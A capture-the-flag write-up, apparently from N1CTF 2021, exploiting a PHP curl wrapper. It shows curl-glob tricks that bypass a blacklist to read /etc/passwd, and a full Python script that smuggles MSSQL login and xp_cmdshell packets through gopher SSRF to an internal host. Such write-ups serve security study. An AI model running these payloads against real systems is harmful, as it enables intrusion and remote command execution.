I collaborated with my team mate, parrot and this was quite long jurney.
Description
Code:
<?php
session_start();
//hint in /hint.txt
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
function Check($url)
{
$blacklist = "/l|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";
if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}
if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}
echo $_SESSION["uuid"]."</br>";
if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}
if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
}
curl makes stdout for each result when we use the command like curl '{asd, bbb}'
.
Example:
sqrtrev@Ubuntu20:~/$ curl '{asd,bb}' 2> /dev/null
--_curl_--asd
--_curl_--bb
So, we can abuse this for bypassing the UUID check. And also, we can bypass the string filtering like below:
sqrtrev@Ubuntu20:~/$ curl 'fi[k-m]e:///etc/passwd
[1/3]: fike:///etc/passwd --> <stdout>
--_curl_--fike:///etc/passwd
curl: (1) Protocol "fike" not supported or disabled in libcurl
[2/3]: file:///etc/passwd --> <stdout>
--_curl_--file:///etc/passwd
(Contents of file)
[3/3]: fime:///etc/passwd --> <stdout>
--_curl_--fime:///etc/passwd
curl: (1) Protocol "fime" not supported or disabled in libcurl
So, we checked hint.txt abusing by using those tricks and It told us that we need to communicate with mssql
.
We can communicate with mssql
via gopher protcol and also can bruteforce the passwords which were in /password.txt
. Fortunately, we could use xp_cmdshell
and get flag.
Final payload:
from pwn import *
import requests
import urllib.parse
import os
import sys
TARGET = "http://1.13.194.226/"
def h(full):
t = ""
for i in full:
g = hex(i)[2:]
if(len(g) == 1):
g = "0"+g
t += "%"+g
return t
def ssrf(host,c):
p = "[f-h]opher://{"+host+",87baaf04-edc6-3703-5c9b-0219b2161d5d}/_"+h(c)
r = requests.post(TARGET,data={"url":p},cookies={"PHPSESSID":"s834jpvcbc6atu1b3ij4vbvmjj"})
o = b"gopher://"+host.encode()+b"/"+b"_"+h(c).encode()+b"\n"
g = r.content[r.content.index(o):][len(o):]
return g[:g.index(b"--_curl_--")]
def utf16(c):
t = b""
for i in c:
t += bytes([i])+b"\x00"
return t
def scramble(passwd):
g = b""
for b in passwd:
lowNibble = b & 0x0f
highNibble = b >> 4
b = (lowNibble << 4) | highNibble
b = b ^ 0xa5
g += bytes([b])
return g
def packtpasswd(passwd):
preLogin = b"\x12\x01\x00\x35\x00\x00\x01\x00\x00\x00\x1f\x00\x06\x01\x00\x25" \
b"\x00\x01\x02\x00\x26\x00\x01\x03\x00\x27\x00\x04\x04\x00\x2b\x00" \
b"\x01\x06\x00\x2c\x00\x01\xff\x0e\x00\x00\x00\x00\x00\x02\x00\x00" \
b"\x00\x00\x00\x00\x01"
login = b"\x10\x01\x01\x0f\x00\x00\x01\x00\x07\x01\x00\x00\x04\x00\x00\x74" \
b"\x00\x10\x00\x00\x00\x00\x00\x00\xbd\xb6\x03\x00\x00\x00\x00\x00" \
b"\xf0\x00\x00\x18\x2e\xff\xff\xff\x09\x04\x00\x00\x5e\x00\x02\x00" \
b"\x62\x00\x02\x00\x66\x00\x24\x00\xae\x00\x07\x00\xbc\x00\x09\x00" \
b"\xce\x00\x04\x00\xd9\x00\x07\x00\xe7\x00\x0a\x00\xfb\x00\x06\x00" \
b"\x01\x02\x03\x04\x05\x06\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01" \
b"\x00\x00\x00\x00\x00\x00\x70\x00\x73\x00\x53\x00\x41\x00\x26\xa5" \
b"\xe6\xa5\x93\xa5\x96\xa5\x86\xa5\xe3\xa5\x26\xa5\xe6\xa5\x77\xa5" \
b"\x36\xa5\xc6\xa5\xe3\xa5\x93\xa5\x77\xa5\xe6\xa5\x96\xa5\xd6\xa5" \
b"\xf3\xa5\x77\xa5\x83\xa5\x26\xa5\x96\xa5\xf3\xa5\x77\xa5\xc6\xa5" \
b"\x36\xa5\xf6\xa5\x86\xa5\x36\xa5\xf3\xa5\xf3\xa5\xa6\xa5\xd6\xa5" \
b"\xf6\xa5\xd6\xa5\x86\xa5\x54\x00\x65\x00\x64\x00\x69\x00\x6f\x00" \
b"\x75\x00\x73\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x68\x00" \
b"\x6f\x00\x73\x00\x74\x00\xd2\x00\x00\x00\x0a\x01\x00\x00\x00\x01" \
b"\xff\x54\x00\x65\x00\x64\x00\x69\x00\x6f\x00\x75\x00\x73\x00\x75" \
b"\x00\x73\x00\x5f\x00\x65\x00\x6e\x00\x67\x00\x6c\x00\x69\x00\x73" \
b"\x00\x68\x00\x6d\x00\x61\x00\x73\x00\x74\x00\x65\x00\x72\x00"
loginreq = login[:login.index(b"\x26\xa5")]
loginreq+= scramble(utf16(passwd.encode()))
loginreq+= login[110+72:]
full = preLogin+loginreq
return full
sql = b"\x01\x01\x02\xf4\x00\x00\x01\x00\x16\x00\x00\x00\x12\x00\x00\x00" \
b"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x73\x00" \
b"\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00\x69\x00\x5f\x00" \
b"\x6e\x00\x75\x00\x6c\x00\x6c\x00\x73\x00\x20\x00\x6f\x00\x6e\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00" \
b"\x69\x00\x5f\x00\x6e\x00\x75\x00\x6c\x00\x6c\x00\x5f\x00\x64\x00" \
b"\x66\x00\x6c\x00\x74\x00\x5f\x00\x6f\x00\x6e\x00\x20\x00\x6f\x00" \
b"\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00\x6e\x00" \
b"\x73\x00\x69\x00\x5f\x00\x70\x00\x61\x00\x64\x00\x64\x00\x69\x00" \
b"\x6e\x00\x67\x00\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00" \
b"\x74\x00\x20\x00\x61\x00\x6e\x00\x73\x00\x69\x00\x5f\x00\x77\x00" \
b"\x61\x00\x72\x00\x6e\x00\x69\x00\x6e\x00\x67\x00\x73\x00\x20\x00" \
b"\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x61\x00" \
b"\x72\x00\x69\x00\x74\x00\x68\x00\x61\x00\x62\x00\x6f\x00\x72\x00" \
b"\x74\x00\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x63\x00\x6f\x00\x6e\x00\x63\x00\x61\x00\x74\x00\x5f\x00" \
b"\x6e\x00\x75\x00\x6c\x00\x6c\x00\x5f\x00\x79\x00\x69\x00\x65\x00" \
b"\x6c\x00\x64\x00\x73\x00\x5f\x00\x6e\x00\x75\x00\x6c\x00\x6c\x00" \
b"\x20\x00\x6f\x00\x6e\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00" \
b"\x64\x00\x61\x00\x74\x00\x65\x00\x66\x00\x69\x00\x72\x00\x73\x00" \
b"\x74\x00\x20\x00\x37\x00\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00" \
b"\x64\x00\x61\x00\x74\x00\x65\x00\x66\x00\x6f\x00\x72\x00\x6d\x00" \
b"\x61\x00\x74\x00\x20\x00\x6d\x00\x64\x00\x79\x00\x0a\x00\x73\x00" \
b"\x65\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x69\x00" \
b"\x63\x00\x69\x00\x74\x00\x5f\x00\x74\x00\x72\x00\x61\x00\x6e\x00" \
b"\x73\x00\x61\x00\x63\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x73\x00" \
b"\x20\x00\x6f\x00\x66\x00\x66\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x6c\x00\x61\x00\x6e\x00\x67\x00\x75\x00\x61\x00\x67\x00" \
b"\x65\x00\x20\x00\x75\x00\x73\x00\x5f\x00\x65\x00\x6e\x00\x67\x00" \
b"\x6c\x00\x69\x00\x73\x00\x68\x00\x0a\x00\x73\x00\x65\x00\x74\x00" \
b"\x20\x00\x6e\x00\x75\x00\x6d\x00\x65\x00\x72\x00\x69\x00\x63\x00" \
b"\x5f\x00\x72\x00\x6f\x00\x75\x00\x6e\x00\x64\x00\x61\x00\x62\x00" \
b"\x6f\x00\x72\x00\x74\x00\x20\x00\x6f\x00\x66\x00\x66\x00\x0a\x00" \
b"\x73\x00\x65\x00\x74\x00\x20\x00\x71\x00\x75\x00\x6f\x00\x74\x00" \
b"\x65\x00\x64\x00\x5f\x00\x69\x00\x64\x00\x65\x00\x6e\x00\x74\x00" \
b"\x69\x00\x66\x00\x69\x00\x65\x00\x72\x00\x20\x00\x6f\x00\x6e\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x74\x00\x65\x00\x78\x00" \
b"\x74\x00\x73\x00\x69\x00\x7a\x00\x65\x00\x20\x00\x32\x00\x31\x00" \
b"\x34\x00\x37\x00\x34\x00\x38\x00\x33\x00\x36\x00\x34\x00\x37\x00" \
b"\x0a\x00\x73\x00\x65\x00\x74\x00\x20\x00\x74\x00\x72\x00\x61\x00" \
b"\x6e\x00\x73\x00\x61\x00\x63\x00\x74\x00\x69\x00\x6f\x00\x6e\x00" \
b"\x20\x00\x69\x00\x73\x00\x6f\x00\x6c\x00\x61\x00\x74\x00\x69\x00" \
b"\x6f\x00\x6e\x00\x20\x00\x6c\x00\x65\x00\x76\x00\x65\x00\x6c\x00" \
b"\x20\x00\x72\x00\x65\x00\x61\x00\x64\x00\x20\x00\x63\x00\x6f\x00" \
b"\x6d\x00\x6d\x00\x69\x00\x74\x00\x74\x00\x65\x00\x64\x00\x0a\x00" \
b"\x73\x00\x65\x00\x74\x00\x20\x00\x78\x00\x61\x00\x63\x00\x74\x00" \
b"\x5f\x00\x61\x00\x62\x00\x6f\x00\x72\x00\x74\x00\x20\x00\x6f\x00" \
b"\x66\x00\x66\x00"
payload = b"EXEC xp_cmdshell 'Reg Query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\N1CTF2021\"'; -- -"
t = b""
for i in payload:
t += bytes([i,0])
payload = t
realsql = b""
realsql+= sql[0:2]
realsql+= p16(len(payload)+30+2)[::-1]
realsql+= sql[4:30]
realsql+= payload
r = ssrf("10.11.22.13:1433",packtpasswd("32367d71-af9b-4996-852f-f5566c13971a")+realsql)
os.write(sys.stdout.fileno(),r)